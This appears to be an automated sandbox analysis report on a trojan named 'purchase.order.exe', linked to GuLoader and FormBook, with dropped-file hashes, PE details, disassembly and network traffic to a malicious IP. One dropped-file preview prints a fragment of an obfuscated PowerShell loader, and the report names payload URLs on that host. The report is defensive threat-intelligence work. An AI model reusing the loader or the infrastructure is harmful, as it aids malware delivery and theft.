Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	purchase.order.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@6/13@0/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 94% Number of executed functions: 80 Number of non-executed functions: 298
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7584 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: purchase.order.exe

Simulations

Behavior and APIs

Time	Type	Description
08:07:37	API Interceptor	36x Sleep call for process: powershell.exe modified
08:10:10	API Interceptor	3x Sleep call for process: Fathoming.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
212.162.149.66	Forhandlingsfriheden.exe	Get hash	malicious	FormBook, GuLoader	Browse	212.162.149.66/KtFSlX90.bin
212.162.149.66	purchase order.exe	Get hash	malicious	FormBook, GuLoader	Browse	212.162.149.66/NmxYyszZoKwuD57.bin

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNREAL-SERVERSUS	Forhandlingsfriheden.exe	Get hash	malicious	FormBook, GuLoader	Browse	212.162.149.66
	order CF08093-24.exe	Get hash	malicious	Remcos, GuLoader	Browse	212.162.149.89
	PO. A-72 9234567.exe	Get hash	malicious	FormBook, GuLoader	Browse	212.162.149.89
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	162.251.123.175
	file.exe	Get hash	malicious	RedLine	Browse	212.162.149.48
	https://haqzt.trc20.kcgrocks.com/merchantServices	Get hash	malicious	Unknown	Browse	172.96.10.214
	scan_241205-801_draft_PO.exe	Get hash	malicious	Remcos, GuLoader	Browse	162.251.122.87
	1g4lfpPUqt.exe	Get hash	malicious	GuLoader	Browse	212.162.149.63
	purchase order.exe	Get hash	malicious	FormBook, GuLoader	Browse	212.162.149.66
	Juleferien.exe	Get hash	malicious	FormBook	Browse	212.162.149.128

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	53158
Entropy (8bit):	5.062687652912555
Encrypted:	false
SSDEEP:	1536:N8Z+z30pPV3CNBQkj2Ph4iUx7aVKflJnqvPqdKgfSRIOdBlzStAHk4NKeCMiYoLs:iZ+z30pPV3CNBQkj2PqiU7aVKflJnqvF
MD5:	5D430F1344CE89737902AEC47C61C930
SHA1:	0B90F23535E8CDAC8EC1139183D5A8A269C2EFEB
SHA-256:	395099D9A062FA7A72B73D7B354BF411DA7CFD8D6ADAA9FDBC0DD7C282348DC7
SHA-512:	DFC18D47703A69D44643CFC0209B785A4393F4A4C84FAC5557D996BC2A3E4F410EA6D26C66EA7F765CEC491DD52C8454CB0F538D20D2EFF09DC89DDECC0A2AFE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.G.......%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Databehandlende\Pennyroyal.Gri

Process:	C:\Users\user\Desktop\purchase.order.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4399), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	74268
Entropy (8bit):	5.138743165931201
Encrypted:	false
SSDEEP:	1536:8WcWpxebXy7DSehWrnBS4nC6jf6Lk6a71gMTGV795NvkC:8WzxCXN7BS4nBfwpa71fyVZ5x7
MD5:	CC4ED67CA05BD1F1D1A8C381E9356E3B
SHA1:	1D7B6BBCA940F66793B6F17F0C51B81DB03F05C0
SHA-256:	16529792E18438E8367854B1802F2E0F48AE4A063C3EF4843367BF4378657CCC
SHA-512:	9641C40595877464E051D73C075FA0D2CDAEFC10C217B54819483D5618E95EA8E04F9827EF48009C6231DD28DD4626BB2CEFD3B06F8AF3BF0FDBABE15F4FCB83
Malicious:	true
Reputation:	low
Preview:	$unascetic=$Overinflated;........$Disnaturalise = @'.Isentro.Mammalo$ Epip.eK ViljekaHar ucafDenatiofR energeIntrodusHundsedtSalamiee Fldes lSortme lSpongideOctopetnManienie Misrgt=Tasimet$ StinksS HardenaIntergon Fort lgInsularlAlmahshiFelthereActinosrFlammep; londes. Cha cofMaa eglutr,ogtynLnniveacForlorntNyttedeiDyndsmeoMonksgenrdviole Omkrse,PReconciiOnsdager Br ndvuLingonbsKontorl Fabriks(Analogi$ProgramUVejtolddDisindipFle eetaIntrigancanv sst H llabn ulysii Hind indeplaceg TipvogsIdeomotr Sinfo ePolysultSubdemotEpicraneJon.sernGalmandlSkyldbeyOttaveraOophoren Chlo itStatsglsBryllupsGlemseltSpyholei ElicitfStormdetSiplingerhibiarnUnderov, signal$RekonfiGObjectir Scalloi Preexpm nonintmKonkurriCrech.ssP,ysoneh F.reaa)Autocol Byplanl{Novembe.Lumrend.G andif$ verboFNonesseiFllestrrCal arelstilfrdiDetal.enFedtdepgTylvtereBartho fRegimendForplejsStykk re,ndragelNonpsyceVningennSvendels moo,ma Dionaea(TurkisoTMariolaaAntilibk ometinoForvntbmP ivataeHv.rlaetRegardfeBnligetrBootikisf

C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Databehandlende\Tilsmil\tallness.ber

Process:	C:\Users\user\Desktop\purchase.order.exe
File Type:	data
Category:	dropped
Size (bytes):	493903
Entropy (8bit):	1.2514017425028907
Encrypted:	false
SSDEEP:	1536:J5fAgVg2t2pObnNoCYrlANC4fcmCuJyzbffMxL+hJfryobV3Krqx1TJG:r/Bb+CYr2cbPiihhqUO
MD5:	8B4C2BBEDD252D6BB6DB679AB3723802
SHA1:	2D9775744675D3B32F3CA2FDF975C9293B719926
SHA-256:	9CCADD82A127BA29D7BA291CB307753D060CA26A3C3CCBCB9EDB3F3A38E5EE31
SHA-512:	7940E4CE5AB08DDFE4DB8B2676F9B92C51DC794C8772760C279B8BC57B7C97502ADBF91747D4FA57BAA6B5B695504E090875DF6890D478B8FD6CF8D70B3C8F65
Malicious:	false
Reputation:	low
Preview:	..Zy..........................................V......................k...................g........./.............Q.........l..#.....^............................................x..........&.............................../................................................................./............/.........................).......?......................p.............o..........................................sy............................................................5.........................R2...................................................................................................."e..............................................Y..................................................l.......{................s...............................................9..........................d.........&.......r......................<..........................................................................................................?............*..................L.................

C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Databehandlende\Tilsmil\vaklende.sna

Process:	C:\Users\user\Desktop\purchase.order.exe
File Type:	data
Category:	dropped
Size (bytes):	340924
Entropy (8bit):	1.2553271369192232
Encrypted:	false
SSDEEP:	768:rmUSNMYYmaSwBaGhKmULRAGcnjPDQ5lHJ30U5MFvsAkhuD7odAmLVBeOdlfHV22E:vvCsDuqEZ11vtew5dzv9
MD5:	C41E860BAAE2CC8168C2ABD50BB5BDF4
SHA1:	548575B164EDA9485A2B3F66161C8024619B6423
SHA-256:	601CF3825DCDD9076ED0A3CB778F62AF942CF20D64D3F86335A57B43E29F2B52
SHA-512:	9D2D97A7CAE52202807093ABF8BF4DE3F01BF54BAFF02C8110D800A7E6B1F6290B3ED60FB954809F9231BEDF730CA7244E9E51EE6B6074445DB180EB0E956718
Malicious:	false
Reputation:	low
Preview:	......................j..h....!..............................................p.............c....P............................k......................................y...............o`....................}...'9...........................Gt......................P.............................................................'.................................#.......................!.............................................................................................W.....C..........................................................................U...g......................................H.....s............n........U........)..........................................s.........S.................t......................................M.................................................................................S.............................................................H........................).............c.$...... .....................n.....................................

C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Databehandlende\acology.mar

Process:	C:\Users\user\Desktop\purchase.order.exe
File Type:	data
Category:	dropped
Size (bytes):	437071
Entropy (8bit):	1.253825384833456
Encrypted:	false
SSDEEP:	768:uWsvcxI4BCLNVp0kyRWlxp4pkE5sS+ZA4o7VengmxKgoMqbGam2C1afEUe/u41Az:2T4BC0SG4J+VB8GA2pzEszrq2GrwLnj
MD5:	F030199A57CDBFC5D06AC8BFB59059C3
SHA1:	3C7AA5EA48CBAA34C8426B76498CD4BF5BF644BF
SHA-256:	FD1253B138D560D3AD0A56C32F37D0FDBDE9E16CC37E59E991595C7349B1F087
SHA-512:	7EC5E2553A15923396B77E07685172CEEAFDE8F60CCBB97E0796DCB8E1BBA8FF17F1CA242B143AD497942FDC8D7473AEFB5091E6492616B3D8C0EBCBA13C98C2
Malicious:	false
Preview:	.....................................X....................................>..a......................A......w..............................@.y........K..............................................z...................z...........p............V.....................................................h....................\|..U.........../................................................................O..+.............................................+................F....................................2......................J..........................".........................A.............................-..............G..............S...............V.............t.......=.....................b.............................................................................................................................................................w................3........f.................2.........................m.0.........................................q...............................

C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Databehandlende\straffesager.tra

Process:	C:\Users\user\Desktop\purchase.order.exe
File Type:	data
Category:	dropped
Size (bytes):	484281
Entropy (8bit):	1.2585657408825282
Encrypted:	false
SSDEEP:	1536:ZtZbLcPMi2av+CVKljwe/ieUZ39FbMXVvL:PyPrdCBlotFbO
MD5:	A8740E0A6C72618AB3FB8804F4835BEF
SHA1:	6393CB3D9E3E670BA5C96F4A757F5B198196EB15
SHA-256:	EF5DB6A0097473B03CCF2A1E6152E2AC7AC57BB31B31A06529BCD3900E9C097C
SHA-512:	55740B7FE5A3D26FC47F9695B2FD33C045E67E6E36F0D2121235C2AEA9800F19740C1B0F797E32E8108E10245D8A4616308173E24A61129D82B9D60500C8763C
Malicious:	false
Preview:	.............................................................................[....2...........W......A.................S........y.................................................................4.......D...=...............Y......................".............................................................7............................................................................Y.....................................{........{.....>................m.....................................`...................................r...............................?.....#...............8.?.....................................................-..........\....................................................%:.................................p.................{.......r.............u..m...b...........................<.........................................................................1...............................................S.............................................4.............W....

C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Loadless.Pin

Process:	C:\Users\user\Desktop\purchase.order.exe
File Type:	data
Category:	dropped
Size (bytes):	336637
Entropy (8bit):	7.5896119516662095
Encrypted:	false
SSDEEP:	6144:DTeuTRHWWOGm79imNXScadM9DhDc1o26M+iYAj0wTEzOMi7z337CXFV55OVoY:DSuTRHWWOGm79imNXbadM9DhDQoHBwg0
MD5:	ABAAC81329EECF81FF3C657032374407
SHA1:	F1A1A80646B32A2B13609055CF2A4C70A2AC39A1
SHA-256:	6CFCEDF277B5B94AED858D15D4D47155F586CFAA5C8237019ED4A2E41A7801A8
SHA-512:	B92D75DF310393DE3B346B24B7FFE5B825FBA32B78F03C10D1811BC67E6DCE4AF4E06C15BFDF02C4E810195549EAAEF2D1F5CF6A272C7199C7E67ACA1102055A
Malicious:	false
Preview:	.[[....NNN..................A...G.....ee...^......0.....................ZZ............++....`.......................................VVVVVVV.....88......................<<.#.. ...8....qq.aaa..RRRRR.........FF.^.....'...........ii....d....................................5.\..........7.J. .................FFFFFF.....O..............:.N.#..g.........................-....................................DD.........................yy...o..........;;..AAAAA......^.......zzz..................................#....,................nn...............5......JJ..................................7..`...../..22.......M...&&&..............-..I............II....._.......`.QQQQ...........*.....nn................~~~..........eee..........................p...........E.............-..............................P......3......!............777....P............RR.....................d...............L...........4.....M.................................v.....XX....i..<<.(..........................................4

C:\Users\user\AppData\Local\Temp\Fathoming.exe

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	801068
Entropy (8bit):	7.827752052976843
Encrypted:	false
SSDEEP:	12288:UXqlVfD6qC0llhpgdtaQmxjBrmu+U1tczmuV4PRklT3we+doWVkeehow:UXqzrTcq9xmu+TzmW4QT31V1how
MD5:	8125E510DF447B0EAD0E263D006A253E
SHA1:	D1C5A46902E50A785D7BE8822B5E80E262CF640D
SHA-256:	91E694F4AD9556406DB3D63BE6B1917EDBD509118A83A9D920FC758F0B8D0A54
SHA-512:	9CB68F4C15BE93641D90CADA462FB4626941274462A577E76049A09F7CEE797767287B973F1A63A7BE89878A9E9C4B98975A32EEDEDA620BAAF681621ABD9B4A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN.s~..PN..VH..PN.Rich.PN.........................PE..L....C.f.................f...".......5............@.......................................@..........................................................................................................................................................text...ve.......f.................. ..`.rdata..X............j..............@..@.data...8............~..............@....ndata...0...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Fathoming.exe:Zone.Identifier

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4pzlbwxk.fji.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e1vjw1yl.em0.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j4vpsp50.0r4.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vcolr4om.urg.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.827752052976843
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	purchase.order.exe
File size:	801'068 bytes
MD5:	8125e510df447b0ead0e263d006a253e
SHA1:	d1c5a46902e50a785d7be8822b5e80e262cf640d
SHA256:	91e694f4ad9556406db3d63be6b1917edbd509118a83a9d920fc758f0b8d0a54
SHA512:	9cb68f4c15be93641d90cada462fb4626941274462a577e76049a09f7cee797767287b973f1a63a7be89878a9e9c4b98975a32eededa620baaf681621abd9b4a
SSDEEP:	12288:UXqlVfD6qC0llhpgdtaQmxjBrmu+U1tczmuV4PRklT3we+doWVkeehow:UXqzrTcq9xmu+TzmW4QT31V1how
TLSH:	0F05029179A0163FC16D413B71672E71EBAB9FA813776402A223FF4B71357627E08682
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN..s~..PN..VH..PN.Rich.PN.........................PE..L....C.f.................f...".....

File Icon


Icon Hash:	71868ed4e8b04d49

Static PE Info

General

Entrypoint:	0x40351c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x660843F3 [Sat Mar 30 16:55:15 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f4639a0b3116c2cfc71144b88a929cfd

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A2D8h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A4h]
mov esi, dword ptr [004080A8h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007FEA4CBA9D7Ah
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007FEA4CBA9D48h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [00429AD8h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4d000	0x1f780	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6576	0x6600	1e4066ed6e7440cc449c401dfd9ca64f	False	0.6663219975490197	data	6.461246686118911	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1358	0x1400	f0b500ff912dda10f31f36da3efc8a1e	False	0.44296875	data	5.102094016108248	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x1fb38	0x600	2e1d49b2855a89e6218e118f0c182b81	False	0.5026041666666666	data	4.044293204800279	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x23000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4d000	0x1f780	0x1f800	8e8a3197e2686a2d1e03890bd5970dad	False	0.5309554811507936	data	6.149455977169068	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4d2f8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 0	English	United States	0.25881343901573406
RT_ICON	0x5db20	0x9f42	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9983811626195732
RT_ICON	0x67a68	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.4413900414937759
RT_ICON	0x6a010	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.5112570356472795
RT_ICON	0x6b0b8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	English	United States	0.6077868852459016
RT_ICON	0x6ba40	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.650709219858156
RT_DIALOG	0x6bea8	0x100	data	English	United States	0.5234375
RT_DIALOG	0x6bfa8	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x6c0c8	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x6c190	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x6c1f0	0x5a	data	English	United States	0.7888888888888889
RT_VERSION	0x6c250	0x1f0	MS Windows COFF PowerPC object file	English	United States	0.5504032258064516
RT_MANIFEST	0x6c440	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T14:09:52.971466+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.10	49707	212.162.149.66	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 14:09:51.546360016 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:51.671773911 CET	80	49707	212.162.149.66	192.168.2.10
Dec 10, 2024 14:09:51.672040939 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:51.673574924 CET	49707	80	192.168.2.10	212.162.149.66
Dec 10, 2024 14:09:51.795128107 CET	80	49707	212.162.149.66	192.168.2.10
